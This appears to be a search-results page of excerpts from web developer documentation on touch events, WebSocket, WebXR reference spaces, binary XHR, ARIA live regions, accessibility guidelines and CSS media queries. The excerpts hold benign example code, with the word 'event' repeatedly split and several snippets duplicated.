... draft initial definition. ...
Touch.radiusX - Web APIs
ch.radiusy and touch.rotationangle constructs an ellipse that approximates the size and shape of the area of contact between the user and the screen. this may be a relatively large ellipse representing the contact between a fingertip and the screen or a small area representing the tip of a stylus, for example. note: this attribute has not been formally standardized. it is specified in the touch
events – level 2 draft specification and not in touch
events recommendation. this attribute is not widely implemented. syntax var xradius = touchitem.radiusx; return value xradius the x radius of the ellipse that most closely circumscribes the area of contact with the touch surface. example this example illustrates using the touch interface's touch.radiusx, touch.radiusx and touch.rotatio...
...he ellipse which most closely circumscribes the touching area (e.g. finger, stylus) along the axis perpendicular to that indicated by touch.rotationangle. the touch.rotationangle is the angle (in degrees) that the ellipse described by radiusx and radiusy is rotated clockwise about its center. ...
...following simple code snippet, registers a single handler for the touchstart, touchmove and touchend
events. when the src element is touched, the element's width and height will be calculate based on the touch point's radiusx and radiusy values and the element will then be rotated using the touch point's rotationangle. <div id="src"> ... </div> var src = document.getelementbyid("src"); src.add
eventlistener('touchstart', rotate); src.add
eventlistener('touchmove', rotate); src.add
eventlistener('touchend', rotate); function rotate (e) { var touch = e.changedtouches.item(0); // turn off default
event handling e.pr
eventdefault(); // rotate element 'src'. src.style.width = touch.radiusx * 2 + 'px'; src.style.height = touch.radiusy * 2 + 'px'; src.style.transform = "rotate(" + tou...
... rotate); function rotate (e) { var touch = e.changedtouches.item(0); // turn off default
event handling e.pr
eventdefault(); // rotate element 'src'. src.style.width = touch.radiusx * 2 + 'px'; src.style.height = touch.radiusy * 2 + 'px'; src.style.transform = "rotate(" + touch.rotationangle + "deg)"; }; specifications specification status comment touch
events – level 2 draft non-stable version. ...
Touch.target - Web APIs
summary returns the element (
eventtarget) on which the touch contact started when it was first placed on the surface, even if the touch point has since moved outside the interactive area of that element or even been removed from the document. note that if the target element is removed from the document,
events will still be targeted at it, and hence won't necessarily bubble up to the window or document anymore. if there is any risk of an element being removed while it is being touched, the best practice is to attach the touch listeners directly to the target. syntax var el = touchpoint.target; return value el the target element of the touch object. example this example illustrates how to access the touch object's touch.target property. ...
...ocument anymore. if there is any risk of an element being removed while it is being touched, the best practice is to attach the touch listeners directly to the target. syntax var el = touchpoint.target; return value el the target element of the touch object. example this example illustrates how to access the touch object's touch.target property. the touch.target property is an element (
eventtarget) on which a touch point is started when contact is first placed on the surface. in following simple code snippet, we assume the user initiates one or more touch contacts on the source element. when the touchstart
event handler for this element is invoked, each touch point's touch.target property is accessed via the
event's touch
event.targettouches list. // register a touchmove listener fo...
...e surface. in following simple code snippet, we assume the user initiates one or more touch contacts on the source element. when the touchstart
event handler for this element is invoked, each touch point's touch.target property is accessed via the
event's touch
event.targettouches list. // register a touchmove listener for the 'source' element var src = document.getelementbyid("source"); src.add
eventlistener('touchstart', function(e) { // iterate through the touch points that were activiated // for this element. for (var i=0; i < e.targettouches.length; i++) { console.log("touchpoint[" + i + "].target = " + e.targettouches[i].target); } }, false); specifications specification status comment touch
events – level 2 draft non-stable version. ...
...'touchstart', function(e) { // iterate through the touch points that were activiated // for this element. for (var i=0; i < e.targettouches.length; i++) { console.log("touchpoint[" + i + "].target = " + e.targettouches[i].target); } }, false); specifications specification status comment touch
events – level 2 draft non-stable version. touch
events recommendation initial definition. ...
VideoTrackList.onaddtrack - Web APIs
the videotracklist property onaddtrack is an
event handler which is called when the addtrack
event occurs, indicating that a new video track has been added to the media element whose video tracks the videotracklist represents. the
event is passed into the
event handler in the form of a track
event object, whose track property identifies the newly-added track. note: you can also add a handler for the addtrack
event using add
eventlistener(). syntax videotracklist.onaddtrack =
eventhandler; value set onaddtrack to a function that accepts as input a track
event object which indicates in its track property which video track has been added to the media. ...
...rack
event object, whose track property identifies the newly-added track. note: you can also add a handler for the addtrack
event using add
eventlistener(). syntax videotracklist.onaddtrack =
eventhandler; value set onaddtrack to a function that accepts as input a track
event object which indicates in its track property which video track has been added to the media. usage notes the addtrack
event is called whenever a new track is added to the media element whose video tracks are represented by the videotracklist object. this happens when tracks are added to the element when the media is first attached to the element; one addtrack
event will occur for each video track in the media resource. ...
...edia. usage notes the addtrack
event is called whenever a new track is added to the media element whose video tracks are represented by the videotracklist object. this happens when tracks are added to the element when the media is first attached to the element; one addtrack
event will occur for each video track in the media resource. example this snippet establishes a handler for the addtrack
event that calls a function, addtotracklist(), passing in the videotrack object representing the newly-added track. in this scenario, that function's role is to add the new track to a list of video tracks available to choose from. ...
...each video track in the media resource. example this snippet establishes a handler for the addtrack
event that calls a function, addtotracklist(), passing in the videotrack object representing the newly-added track. in this scenario, that function's role is to add the new track to a list of video tracks available to choose from. document.queryselector("video").videotracks.onaddtrack = function(
event) { addtotracklist(
event.track); }; specifications specification status comment html living standardthe definition of 'videotracklist: onaddtrack' in that specification. living standard ...
VisualViewport - Web APIs
-level window has a visual viewport that's distinct from the layout viewport. therefore, it's generally only the visualviewport object of the top-level window that's useful. for an <iframe>, visual viewport metrics like visualviewport.width always correspond to layout viewport metrics like document.documentelement.clientwidth. properties visualviewport also inherits properties from its parent,
eventtarget. visualviewport.offsetleft read only returns the offset of the left edge of the visual viewport from the left edge of the layout viewport in css pixels. visualviewport.offsettop read only returns the offset of the top edge of the visual viewport from the top edge of the layout viewport in css pixels. visualviewport.pageleft read only returns the x coordinate of the visual viewpor...
...oordinate of the visual viewport relative to the initial containing block origin of the top edge in css pixels. visualviewport.width read only returns the width of the visual viewport in css pixels. visualviewport.height read only returns the height of the visual viewport in css pixels. visualviewport.scale read only returns the pinch-zoom scaling factor applied to the visual viewport.
events listen to these
events using add
eventlistener() or by assigning an
event listener to the relevant on
eventname property of this interface. resize fired when the visual viewport is resized. also available via the visualviewport.onresize property. scroll fired when the visual viewport is scrolled. also available via the visualviewport.onscroll property. examples hiding an overlaid box o...
... when the user zooms in. this is a nice way to improve the user experience when zooming in on pages. a live sample is also available. var bottombar = document.getelementbyid('bottombar'); var viewport = window.visualviewport; function resizehandler() { if (viewport.scale > 1.3) bottombar.style.display = "none"; else bottombar.style.display = "block"; } window.visualviewport.add
eventlistener('resize', resizehandler); simulating position: device-fixed this example, also taken from the visual viewport readme, shows how to use this api to simulate position: device-fixed, which fixes elements to the visual viewport. a live sample is also available. var bottombar = document.getelementbyid('bottombar'); var viewport = window.visualviewport; function viewporthandler() { var lay...
...dingclientrect().height + viewport.offsettop; // you could also do this by setting style.left and style.top if you // use width: 100% instead. bottombar.style.transform = 'translate(' + offsetleft + 'px,' + offsettop + 'px) ' + 'scale(' + 1/viewport.scale + ')' } window.visualviewport.add
eventlistener('scroll', viewporthandler); window.visualviewport.add
eventlistener('resize', viewporthandler); note: this technique should be used with care; emulating position: device-fixed in this way can result in the fixed element flickering during scrolling. specifications specification status comment visual viewport apithe definition of 'visualviewport' in that specific...
Simple color animation - Web APIs
y basic color animation created using webgl, performed by clearing the drawing buffer with a different random color every second. color animation with clear this example provides a simple illustration of color animation with webgl, as well as user interaction. the user can start, stop and restart the animation by clicking the button. this time we put the webgl function calls within a timer
event handler. a click
event handler additionally enables the basic user interaction of starting and stopping the animation. the timer and the timer handler function establish the animation loop, a set of drawing commands that are executed at a regular period (typically, every frame; in this case, once per second). <p>a simple webgl program that shows color animation.</p> <p>you can click the button...
...</canvas> <button id="animation-onoff"> press here to <strong>[verb goes here]</strong> the animation </button> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : inline-block; font-size : inherit; margin : auto; padding : 0.6em; } window.add
eventlistener("load", function setupanimation (evt) { "use strict" window.remove
eventlistener(evt.type, setupanimation, false); // a variable to hold a timer that drives the animation. var timer; // click
event handlers. var button = document.queryselector("#animation-onoff"); var verb = document.queryselector("strong"); function startanimation(evt) { button.remove
eventlistener(ev...
... { "use strict" window.remove
eventlistener(evt.type, setupanimation, false); // a variable to hold a timer that drives the animation. var timer; // click
event handlers. var button = document.queryselector("#animation-onoff"); var verb = document.queryselector("strong"); function startanimation(evt) { button.remove
eventlistener(evt.type, startanimation, false); button.add
eventlistener("click", stopanimation, false); verb.innerhtml="stop"; // setup animation loop by redrawing every second. timer = setinterval(drawanimation, 1000); // give immediate feedback to user after clicking, by // drawing one animation frame. ...
...tlistener(evt.type, startanimation, false); button.add
eventlistener("click", stopanimation, false); verb.innerhtml="stop"; // setup animation loop by redrawing every second. timer = setinterval(drawanimation, 1000); // give immediate feedback to user after clicking, by // drawing one animation frame. drawanimation(); } function stopanimation(evt) { button.remove
eventlistener(evt.type, stopanimation, false); button.add
eventlistener("click", startanimation, false); verb.innerhtml="start"; // stop animation by clearing the timer. clearinterval(timer); } // call stopanimation() once to setup the initial
event // handlers for canvas and button. stopanimation({type: "click"}); var gl; function drawanimation () { if (!gl) { var...
WebSocket.onmessage - Web APIs
specifications specification status comment html living standardthe definition of 'websocket: onmessage' in that specification. ...
... specifications specification status comment html living standardthe definition of 'websocket: onmessage' in that specification. ...
... specifications specification status comment html living standardthe definition of 'websocket: onmessage' in that specification. ...
... specifications specification status comment html living standardthe definition of 'websocket: onmessage' in that specification. ...
WebSocket.onopen - Web APIs
specifications specification status comment html living standardthe definition of 'websocket: onopen' in that specification. ...
... specifications specification status comment html living standardthe definition of 'websocket: onopen' in that specification. ...
... specifications specification status comment html living standardthe definition of 'websocket: onopen' in that specification. ...
... specifications specification status comment html living standardthe definition of 'websocket: onopen' in that specification. ...
WebSocket - Web APIs
stant value websocket.connecting 0 websocket.open 1 websocket.closing 2 websocket.closed 3 properties websocket.binarytype the binary data type used by the connection. websocket.bufferedamount read only the number of bytes of queued data. websocket.extensions read only the extensions selected by the server. websocket.onclose an
event listener to be called when the connection is closed. websocket.onerror an
event listener to be called when an error occurs. websocket.onmessage an
event listener to be called when a message is received from the server. websocket.onopen an
event listener to be called when the connection is opened. websocket.protocol read only the sub-protocol selected by the server. websocket.readystate ...
... close fired when a connection with a websocket is closed. also available via the onclose property error fired when a connection with a websocket has been closed because of an error, such as when some data couldn't be sent. ...
...be called when the connection is opened. websocket.protocol read only the sub-protocol selected by the server. websocket.readystate read only the current state of the connection. websocket.url read only the absolute url of the websocket. methods websocket.close([code[, reason]]) closes the connection. websocket.send(data) enqueues data to be transmitted.
events listen to these
events using add
eventlistener() or by assigning an
event listener to the on
eventname property of this interface. close fired when a connection with a websocket is closed. also available via the onclose property error fired when a connection with a websocket has been closed because of an error, such as when some data couldn't be sent. also available via the onerror property. message fired when...
...me data couldn't be sent. also available via the onerror property. message fired when data is received through a websocket. also available via the onmessage property. open fired when a connection with a websocket is opened. also available via the onopen property. examples // create websocket connection. const socket = new websocket('ws://localhost:8080'); // connection opened socket.add
eventlistener('open', function (
event) { socket.send('hello server!'); }); // listen for messages socket.add
eventlistener('message', function (
event) { console.log('message from server ',
event.data); }); specifications specification status html living standardthe definition of 'websocket' in that specification. living standard ...
Geometry and reference spaces in WebXR - Web APIs
stodegrees(), which convert back and forth between the two units for measuring angles. const radians_per_degree = math.pi / 180.0; let degreestoradians = (deg) => deg * radians_per_degree; let radianstodegrees = (rad) => rad / radians_per_degree; times and durations note that for security reasons, domhighrestimestamp usually introduces a small amount of imprecision to the clock in order to pr
event it from being used in fingerprinting and timing-based attacks. all times and durations in webxr are measured using the domhighrestimestamp type, which is a double-precision floating-point value specifying the time in milliseconds relative to the starting time. since the value is a floating-point number, it may be accurate to well better than the millisecond level, depending on the platform and h...
...ted reality (ar), this is because of the need to insert virtual objects into the real world, not only placing them correctly but also ensuring that they don't seem to wander around on their own as the user's perspective shifts. in virtual reality (vr), it's all about creating a sense of space in which the user's movements are precisely matched by the imagery presented on the virtual display, to pr
event disjoints and disconnects that could cause discomfort or worse. thus it's all about creating a sense of space. from the perspective of an xr developer, designing the stage is the part that matters most to your users. like an architect or a set designer, you have the power to create moods and experiences through a physical environment. how you structure that space will both depend on and influenc...
...consider the xr controller you have in your left hand. it has the ability to report movement and its orientation, but it doesn't know anything about the position of the headset or, more crucially, its coordinate system. but the controller still needs a way to report its position to your app. thus, it has its own coordinate system. this is a reference space which is provided to your app when input
events occur. this reference space internally knows how to map the coordinates of the controller to the headset's coordinates, so webxr can translate coordinates back and forth for you. once created, an xrreferencespace guarantees a certain level of support for motion and orientation tracking, and provides a mechanism for obtaining an xrviewerpose from which you can get a matrix which represents the p...
... immersive-ar), but is always included among the optional features when requesting a new session; thus, every session created by navigator.xr.requestsession() supports the local reference space type. to represent a large area—potentially involving multiple rooms or beyond—you can use the unbounded reference space type, which specifies no constraints on the viewer's movement. if you wish to pr
event the user from moving into certain areas, you must handle that yourself. the bounded-floor reference space type doesn't have a corresponding one that isn't floor-bound. if the user's xr hardware permits them to move about their real-world space, and you are able to do so, it may be useful to use a bounded-floor reference space, which lets you specifically define the boundaries of the area in whic...
Window.onuserproximity - Web APIs
the window.onuserproxymity property represents an
eventhandler, that is a function to be called when the userproximity
event occurs. ...
... the window.onuserproxymity property represents an
eventhandler, that is a function to be called when the userproximity
event occurs. ...
... the window.onuserproxymity property represents an
eventhandler, that is a function to be called when the userproximity
event occurs. ...
... the window.onuserproxymity property represents an
eventhandler, that is a function to be called when the userproximity
event occurs. ...
Sending and Receiving Binary Data - Web APIs
request is not complete or was not successful. this example reads an image as a binary file and creates an 8-bit unsigned integer array from the raw bytes. note that this will not decode the image and read the pixels. you will need a png decoding library for that. var oreq = new xmlhttprequest(); oreq.open("get", "/myfile.png", true); oreq.responsetype = "arraybuffer"; oreq.onload = function (o
event) { var arraybuffer = oreq.response; // note: not oreq.responsetext if (arraybuffer) { var bytearray = new uint8array(arraybuffer); for (var i = 0; i < bytearray.bytelength; i++) { // do something with each byte in the array } } }; oreq.send(null); you can also read a binary file as a blob by setting the string "blob" to the responsetype property. var oreq = new xml...
...y = new uint8array(arraybuffer); for (var i = 0; i < bytearray.bytelength; i++) { // do something with each byte in the array } } }; oreq.send(null); you can also read a binary file as a blob by setting the string "blob" to the responsetype property. var oreq = new xmlhttprequest(); oreq.open("get", "/myfile.png", true); oreq.responsetype = "blob"; oreq.onload = function(o
event) { var blob = oreq.response; // ... }; oreq.send(); receiving binary data in older browsers the load_binary_resource() function shown below loads binary data from the specified url, returning it to the caller. function load_binary_resource(url) { var req = new xmlhttprequest(); req.open('get', url, false); //xhr binary charset opt by marcus granado 2006 [http://mgran.blogspot.com] ...
...s been extended to enable easy transmission of binary data by accepting an arraybuffer, blob, or file object. the following example creates a text file on-the-fly and uses the post method to send the "file" to the server. this example uses plain text, but you can imagine the data being a binary file instead. var oreq = new xmlhttprequest(); oreq.open("post", url, true); oreq.onload = function (o
event) { // uploaded. }; var blob = new blob(['abc123'], {type: 'text/plain'}); oreq.send(blob); sending typed arrays as binary data you can send javascript typed arrays as binary data as well. var myarray = new arraybuffer(512); var longint8view = new uint8array(myarray); // generate some data for (var i=0; i< longint8view.length; i++) { longint8view[i] = i % 256; } var xhr = new xmlhttpre...
...*/ req.setrequestheader('content-type', mimetype); req.send(stream); ...
XRReferenceSpace.getOffsetReferenceSpace() - Web APIs
to move or otherwise transform objects in the 3d space—or to allow the user to move through the space—you'll need to write some code to read the inputs and move perform the movements. this is another good use case for getoffsetreferencespace(). in this example, we'll show code that lets the user look around by right-clicking and moving the mouse to change the viewing angle. ...
...rm objects in the 3d space—or to allow the user to move through the space—you'll need to write some code to read the inputs and move perform the movements. this is another good use case for getoffsetreferencespace(). in this example, we'll show code that lets the user look around by right-clicking and moving the mouse to change the viewing angle. ...
...ents. this is another good use case for getoffsetreferencespace(). in this example, we'll show code that lets the user look around by right-clicking and moving the mouse to change the viewing angle. first, we add an
event handler for mousemove
events, which calls our code to perform the rotation if the right mouse button is down. note also that we set oncontextmenu up to be ignored by calling pr
eventdefault() on those
events. this pr
events the right-clicks from causing the context menu from appearing in the browser. ...
... and moving the mouse to change the viewing angle. first, we add an
event handler for mousemove
events, which calls our code to perform the rotation if the right mouse button is down. note also that we set oncontextmenu up to be ignored by calling pr
eventdefault() on those
events. this pr
events the right-clicks from causing the context menu from appearing in the browser. canvas.oncontextmenu = (
event) => {
event.pr
eventdefault(); }; canvas.add
eventlistener("mousemove", (
event) => { if (
event.buttons & 2) { rotateviewby(
event.movementx,
event.movementy); } }); next, the rotateviewby() function, which updates the mouse look direction's yaw and pitch based on the mouse delta values from the mousemove
event. the pitch is restricted so that you can't look beyond straight up and straight ...
XRReferenceSpace - Web APIs
ther due to physical obstacles or due to limitations of the xr hardware. see the article using bounded reference spaces to protect the viewer for more on using boundaries to keep the user from colliding with obstacles both physical and virtual. properties in addition to the properties inherited from xrspace (of which there are none at this time), xrreferencespace also inherits the properties of
eventtarget. xrreferencespace defines no additional properties. methods in addition to the methods inherited from its parent interface, xrspace (there are none at this time), xrreferencespace inherits methods from
eventtarget. xrreferencespace also provides the following methods. getoffsetreferencespace() creates and returns a new reference space object as the same type as the one on which you ...
...l the method (so, either xrreferencespace or xrboundedreferencespace). the new reference space can be used to transform a coordinate from the reference space of the object on which the method is called into a different coordinate space. this is useful for positioning objects while rendering, and to perform the needed transforms when changing the viewer's position and/or orientation in 3d space.
events in addition to other
events that may be sent to xrspace or
eventtarget objects, the following also apply to xrreferencespace objects. reset the reset
event is sent to an xrreferencespace object when the browser detects a discontinuity has occurred wherein the tracked object's origin relative to the user's environment or location. this can happen, for example, after the user recalibrates ...
... reference space types the reference space returned by xrsession.requestreferencespace() is either xrreferencespace or xrboundedreferencespace. ...
...to an xrreferencespace object when the browser detects a discontinuity has occurred wherein the tracked object's origin relative to the user's environment or location. this can happen, for example, after the user recalibrates their xr device, or if the device automatically adjusts its origin after losing and regaining tracking. in addition to using add
eventlistener(), you can establish a reset
event handler by setting the onreset
event handler property. reference space types the reference space returned by xrsession.requestreferencespace() is either xrreferencespace or xrboundedreferencespace. the "interface" column in the table below indicates which of the two types is returned for each reference space type constant.. reference space descriptors the types of reference space are liste...
mssitemodejumplistitemremoved - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mssitemodejumplistitemremoved
event occurs when mssitemodeshowjumplist is called and an item has been removed from a jump list by the user. ...
... the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mssitemodejumplistitemremoved
event occurs when mssitemodeshowjumplist is called and an item has been removed from a jump list by the user. this proprietary method is specific to internet explorer and microsoft edge. ...
...ompatibilities between implementations and the behavior may change in the future. the mssitemodejumplistitemremoved
event occurs when mssitemodeshowjumplist is called and an item has been removed from a jump list by the user. this proprietary method is specific to internet explorer and microsoft edge. syntax
event property object.oncandidatewindowhide = handler; add
eventlistener method object.add
eventlistener("mssitemodejumplistitemremoved", handler, usecapture) general info synchronous no bubbles no cancelable no note this
event is raised once for every item that has been removed since the last time mssitemodeshowjumplist was called. this
event is not triggered if mssitemodeclearjumplist has been called. parameters pevtobj [in] type: ...
...ner method object.add
eventlistener("mssitemodejumplistitemremoved", handler, usecapture) general info synchronous no bubbles no cancelable no note this
event is raised once for every item that has been removed since the last time mssitemodeshowjumplist was called. this
event is not triggered if mssitemodeclearjumplist has been called. parameters pevtobj [in] type: ihtml
eventobj pointer to an ihtml
eventobj interface for the current
event. see also microsoft api extensions ...
ARIA live regions - Accessibility
because the live region has aria-live="polite", the screen reader will wait until the use...
...because the live region has aria-live="polite", the screen reader will wait until the user pauses before announc...
...e" aria-atomic="true"></div> note: as observed, setting/updating the innerhtml again would cause the whole text to be read again, whether or not you set aria-atomic="true", so the above clock example does not work as expected. ...
...et aria-atomic="true", so the above clock example does not work as expected. a working example of a simple year control for better understanding: <div id="date-input"> <label>year: <input type="text" id="year" value="1990" onblur="change(
event)"/> </label> </div> <div id="date-output" aria-live="polite"> the set year is: <span id="year-output">1990</span> </div> function change(
event) { var yearout = document.getelementbyid("year-output"); switch (
event.target.id) { case "year": yearout.innerhtml =
event.target.value; break; default: return; } }; without aria-atomic="true" the screenreader announces only the changed value of year. with aria-atomic="true", the screenreader announces "the set year is: changedvalue" advanced use case: roster ...
Cognitive accessibility - Accessibility
ther way that would conform. this includes animated gifs, if the gif animates for more than 5 seconds. additional timing criteria to consider are: people who have cognitive or language limitations may need more time to read and to understand. for improved usability remove any time limit. timed content should also be avoided, with exceptions for non-interactive synchronized media and real-time
events. people with attention deficit disorders should be able to focus on content without distractions. the user should be able to postpone or suppress interruptions, except situations involving altering a person to an emergency. this provides access to people with cognitive disabilities by enabling them to focus on the main purpose of the content. enable the user to postpone content updates by provi...
... achieve this include: using short, simple words. writing short sentences. using active voice in the present tense. using correct grammar and spelling. it helps users with cognitive disabilities to provide a text summary (sometimes referred to as a tl;dr; [too long, didn't read]) at a low reading level. another technique you can use is providing accompanying visuals to help explain ideas,
events, and processes. there are tools that can rate the level of your content. for example, this document has an average grade level of about 11. this means it should be easily understood by a native english speaker aged 16 to 17. some tools can even provide suggestions to help simplify it. pronunciation there are multiple techniques that can help teach people how to pronounce words: prov...
...nd informed of what is wrong. if there is client side error detection, observe the following guidelines to make the error as effective as possible when conveyed to the user: the error must be described in the text. ensure that the error message is as specific as possible. provide text to identify incomplete required fields and text descriptions if a value entered is invalid. if the error pr
evented a form submission, focus on the error. if multiple errors are present, provide a summary, with each error linking to the related input. include text along with use of icons, images, color and so on. some people have difficulty understanding the meaning of icons and other visual cues. other people may have difficulty understanding the text version of your error message. for these people, also ...
...ually and via code. if a form control changes context, describe what will happen in a way that the user will understand it before they cause the context change to happen. error suggestion provide suggested input to the user if an input error is automatically detected and suggestions for correction are known (unless doing so would jeopardize the security or purpose of the content). pr
event catastrophes for submissions that cause, or can lead to, legal, financial, or other significant consequences, ensure that the submissions can be reviewed, confirmed, and/or are reversible. data entered by the user should be checked for errors before submission, and the user should be given the opportunity to correct them. the user should be able to review, confirm, and correct information be...
Accessibility documentation index - Accessibility
mary! 15 using the alert role aria, accessibility, advanced, css, example, html, needscontent, alert, alert role, alertrole, alerts, assitive technology, role configuration, wcag1.2.1, wcag3.3.1 the alert role is used to communicate an important and usually time-sensitive message to the user. when this role is added to an element, the browser will send out an accessible alert
event to assistive technology products which can then notify the user about it. the alert role is most useful for information that requires the user's immediate attention, for example: 16 using the alertdialog role aria, accessibility, codingscripting, html, needscontent, role(2), web development, agent, alertdialog, alerts, modal, user, useragent the alertdialog role is used to no...
...tivity, prefers-reduced-motion, reflex epilepsy, saturation, seizure disorders, seizures, user settings, web animation this article discusses making web content accessible for those with vestibular disorders, and those who support them, by taking advantage of personalization and accessibility settings built into the operating systems. taking advantage of personalization settings can help pr
event exposure to content leading to seizures and / or other physical reactions. 86 accessible dynamic content accessibility this content has been moved to an overview of accessible web applications and widgets. 87 an overview of accessible web applications and widgets aria, accessibility, guide, web apps, widget most javascript libraries offer a library of cli...
... 105 web accessibility for seizures and physical reactions media queries, peat, photosensitve epilepsy analysis tool, the harding test, color, epilepsy, musicogenic seizures, photosensitivity, prefers-reduced-motion, reflex epilepsy, saturation, seizure disorders, seizures, web animation this article...
... ...
Understandable - Accessibility
ceives focus, it should not change the context in a way that may confuse or disorientate the user. this is a matter of sensible design — people don't want interfaces to surprise them; they want things to be intuitive and behave as expected. for example, focusing a navigation menu option should not change the displayed page — it should be activated before the display changes. global
eventhandlers.onfocus contains some useful information. also see building keyboard accessibility back in for some useful implementation ideas. 3.2.2 on input (a) when data is inputted into a control, or a setting is changed, context should not be changed unexpectedly. the user should be warned/advised of the impending change before it occurs. again, sensible design should be imple...
...utted into a control, or a setting is changed, context should not be changed unexpectedly. the user should be warned/advised of the impending change before it occurs. again, sensible design should be implemented. for example, if pressing a button causes the application to exit the current view, the user should be asked to confirm this action, save their work if appropriate, etc. global
eventhandlers.oninput is useful here. 3.2.3 consistent navigation (aa) navigation menu/control style and positioning should be consistent between different pages or views of a web page, and the existing items should appear in the same order, even if for example new iteam are added. if the user has initiated a change, e.g. choosing a different color scheme or position for the navigation...
...question in a quiz app). in such cases, when this is appropriate, you'll probably use a combination of javascript and server-side functionality to check if the entry is correct, and if not, what viable suggestions can be given to the user. such suggestions should be displayed usefully in context, just like error messages (see 3.3.1). no tutorial suggestions yet. 3.3.4 error pr
evention (legal, financial, data) (aa) in the case of forms involved with entry of sensitive data (such as legal agreements, e-commerce transactions, or personal data), at least one of the following should be true: submissions are reversible. data is checked for errors, and the user is given an opportunity to correct them. a mechanism is available for confirming and correct...
... provide instructions and other appropriate cues in context to aid form completion and submission. this really just builds on 3.3.1 and other similar criteria but requires more thorough contextual help information and services, e.g. providing a dedicated link to a help page or service on each page, providing examples showing what successful completion should look like. 3.3.6 error pr
evention (all) (aaa) this principle builds on 3.3.4, extending its requirements to all user input situations, not just ones involving sensitive data. again, see 3.3.4. note: also see the wcag description for guideline 3.3 input assistance: help users avoid and correct mistakes. see also wcag perceivable operable understandable robust ...
Testing media queries programmatically - CSS: Cascading Style Sheets
e efficient to register a listener than to poll the query's result. to do this, call the addlistener() method on the mediaquerylist object, with a callback function to invoke when the media query status changes (e.g., the media query test goes from true to false): // create the query list. const mediaquerylist = window.matchmedia("(orientation: portrait)"); // define a callback function for the
event listener. function handleorientationchange(mql) { // ... } // run the orientation change handler once. handleorientationchange(mediaquerylist); // add the callback function as a listener to the query list. mediaquerylist.addlistener(handleorientationchange); this code creates the orientation-testing media query list, then adds an
event listener to it. after adding the listener, we also call...
...andscape mode. ...
... query and handle whatever we need to do on an orientation change: function handleorientationchange(evt) { if (evt.matches) { /* the viewport is currently in portrait orientation */ } else { /* the viewport is currently in landscape orientation */ } } above, we define the parameter as evt — an
event object. this makes sense because newer implementations of mediaquerylist handle
event listeners in a standard way. ...
...vt.matches) { /* the viewport is currently in portrait orientation */ } else { /* the viewport is currently in landscape orientation */ } } above, we define the parameter as evt — an
event object. this makes sense because newer implementations of mediaquerylist handle
event listeners in a standard way. they no longer use the unusual mediaquerylistlistener mechanism, but a standard
event listener setup, passing an
event object of type mediaquerylist
event as the argument to the callback function. this
event object also includes the media and matches properties, so you can query these features of the mediaquerylist by directly accessing it, or accessing the
event object. ending query notifications to stop receiving notifications about changes to the value of your media query, ca...
animation - CSS: Cascading Style Sheets
; flex: none; } .overlay { padding: .5em; } @keyframes slidein { from { transform: scalex(0); } to { transform: scalex(1); } } .a1 { animation: 3s ease-in 1s 2 reverse both paused slidein; } .a2 { animation: 3s linear 1s slidein; } .a3 { animation: 3s slidein; } .animation { background: #3f87a6; width: 100%; height: calc(100% - 1.5em); transform-origin: left center; } window.add
eventlistener('load', function () { var animation = array.from(document.queryselectorall('.animation')); var button = array.from(document.queryselectorall('button')); function togglebutton (btn, type) { btn.classlist.remove('play', 'pause', 'restart'); btn.classlist.add(type); btn.title = type.touppercase(type); } function playpause (i) { var btn = button[i]; var ani...
...e')) { anim.style.animationplaystate = 'paused'; togglebutton(btn, 'play'); } else { anim.classlist.remove('a' + (i + 1)); settimeout(function () { togglebutton(btn, i === 0 ? ...
... constituent properties this property is a sh...
...nimationplaystate = ''; anim.classlist.add('a' + (i + 1)); }, 100) } } animation.foreach(function (node, index) { node.add
eventlistener('animationstart', function () { togglebutton(button[index], 'pause'); }); node.add
eventlistener('animationend', function () { togglebutton(button[index], 'restart'); }); }); button.foreach(function (btn, index) { btn.add
eventlistener('click', function () { playpause(index); }); }); }) a description of which properties are animatable is available; it's worth noting that this description is also valid for css transitions. constituent properties this property is a shorthand for the following css properties: animation-delay animation-direction animation-duration animation-fill-mode animation-iteration-count...
Getting Started - Developer guides
ent, test.html, which contains the text "i'm a test." then we'll alert() the contents of the response. note that this example uses vanilla javascript — no jquery is involved. also, the html, xml and php files should be placed in the same directory. ...
... note: if you're sending a request to a piece of code that will return xml, rather than a static html file, you must set response headers to work in i...
...st, making debugging challenging. you can also add an always-different get parameter, like a timestamp or random number (see bypassing the cache) note 3: if the httprequest variable is used globally, competing functions calling makerequest() can overwrite each other, causing a race condition. declaring the httprequest variable local to a closure containing the ajax functions avoids this. in the
event of a communication error (such as the server going down), an exception will be thrown in the onreadystatechange method when accessing the response status. to mitigate this problem, you could wrap your if...then statement in a try...catch: function alertcontents() { try { if (httprequest.readystate === xmlhttprequest.done) { if (httprequest.status === 200) { alert(httprequest.
...time, test.php, which will take the data we send and return a "computed" string - "hello, [user data]!" - which we'll alert(). ...
Adding captions and subtitles to HTML5 video - Developer guides
{ var listitem = document.createelement('li'); var button = listitem.appendchild(document.createelement('button')); button.setattribute('id', id); button.classname = 'subtitles-button'; if (lang.length > 0) button.setattribute('lang', lang); button.value = label; button.setattribute('data-state', 'inactive'); button.appendchild(document.createtextnode(label)); button.add
eventlistener('click', function(e) { // set all buttons to inactive subtitlemenubuttons.map(function(v, i, a) { subtitlemenubuttons[i].setattribute('data-state', 'inactive'); }); // find the language to activate var lang = this.getattribute('lang'); for (var i = 0; i < video.texttracks.length; i++) { // for the 'subtitles-off' button, the first cond...
...etattribute('data-state', 'active'); } else { video.texttracks[i].mode = 'hidden'; } } subtitlesmenu.style.display = 'none'; }); subtitlemenubuttons.push(button); return listitem; } this function builds the required <li> and <button> elements, and returns them so they can be added to the subtitles menu list. ...
...added to the subtitles menu list. it also sets up the required
event listeners on the button to toggle the relevant subtitle set on or off. this is done by simply setting the required subtlte's mode attribute to showing, and setting the others to hidden. once the menu is built, it is then inserted into the dom at the bottom of the videocontainer. ...
... button to toggle the relevant subtitle set on or off. this is done by simply setting the required subtlte's mode attribute to showing, and setting the others to hidden. once the menu is built, it is then inserted into the dom at the bottom of the videocontainer. ...
Web Audio playbackRate explained - Developer guides
note: try out this example live, and try adjusting the playback rate control to see the effect. defaultplaybackrate and ratechange in addition to playbackrat...
...rate <span id="currentpbr">1</span></p> </form> and apply some javascript to it: window.onload = function () { var v = document.getelementbyid("myvideo"); var p = document.getelementbyid("pbr"); var c = document.getelementbyid("currentpbr"); p.add
